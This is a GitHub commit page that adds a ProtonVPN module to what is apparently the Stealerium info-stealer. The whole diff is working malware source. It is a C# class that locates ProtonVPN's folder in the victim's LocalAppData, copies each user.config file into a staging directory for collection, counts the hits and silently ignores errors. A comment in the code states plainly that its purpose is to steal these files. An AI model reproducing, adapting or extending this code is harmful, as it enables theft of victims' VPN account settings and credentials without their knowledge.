Skip to content

Commit

Permalink
update file
Browse files Browse the repository at this point in the history
  • Loading branch information
BloodOnTop committed Mar 14, 2023
1 parent 3095f76 commit b305751
Showing 1 changed file with 40 additions and 0 deletions.
40 changes: 40 additions & 0 deletions Stub/Target/VPN/ProtonVPN.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
using System;
using System.IO;
using Stealerium.Helpers;

namespace Stealerium.Target.VPN
{
internal sealed class ProtonVpn
{
// Save("ProtonVPN");
public static void Save(string sSavePath)
{
// "ProtonVPN" directory path
var vpn = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
"ProtonVPN");
// Stop if not exists
if (!Directory.Exists(vpn))
return;
try
{
// Steal user.config files
foreach (var dir in Directory.GetDirectories(vpn))
if (dir.Contains("ProtonVPN.exe"))
foreach (var version in Directory.GetDirectories(dir))
{
var configLocation = version + "\\user.config";
var copyDirectory = Path.Combine(
sSavePath, new DirectoryInfo(Path.GetDirectoryName(configLocation)).Name);
if (Directory.Exists(copyDirectory)) continue;
Counter.Vpn++;
Directory.CreateDirectory(copyDirectory);
File.Copy(configLocation, copyDirectory + "\\user.config");
}
}
catch
{
// ignored
}
}
}
}

0 comments on commit b305751

Please sign in to comment.